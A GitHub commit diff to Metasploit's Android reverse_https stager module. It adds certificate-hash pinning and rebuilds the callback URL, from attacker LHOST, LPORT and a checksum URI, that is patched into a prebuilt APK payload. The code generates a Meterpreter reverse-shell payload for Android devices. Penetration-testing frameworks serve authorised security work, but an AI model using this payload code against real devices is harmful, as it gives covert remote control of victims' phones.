Skip to content

Commit 96a3011

Browse files
committed
add https cert validation
1 parent 3b8effc commit 96a3011

File tree

1 file changed

+20
-7
lines changed

1 file changed

+20
-7
lines changed

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 20 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -27,23 +27,36 @@ def initialize(info = {})
2727
end
2828

2929
def generate_jar(opts={})
30-
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
31-
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
32-
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
30+
# Default URL length is 30-256 bytes
31+
uri_req_len = 30 + rand(256-30)
32+
# Generate the short default URL if we don't know available space
33+
if self.available_space.nil?
34+
uri_req_len = 5
35+
end
3336

34-
jar = Rex::Zip::Jar.new
37+
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
38+
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
39+
lurl << "/"
40+
lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
3541

3642
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
37-
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
43+
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
44+
45+
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
46+
datastore['HandlerSSLCert'])
47+
if verify_cert_hash
48+
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
49+
string_sub(classes, 'WWWW ', hash)
50+
end
51+
3852
apply_options(classes)
3953

54+
jar = Rex::Zip::Jar.new
4055
jar.add_file("classes.dex", fix_dex_header(classes))
41-
4256
files = [
4357
[ "AndroidManifest.xml" ],
4458
[ "resources.arsc" ]
4559
]
46-
4760
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
4861
jar.build_manifest
4962

0 commit comments

Comments
 (0)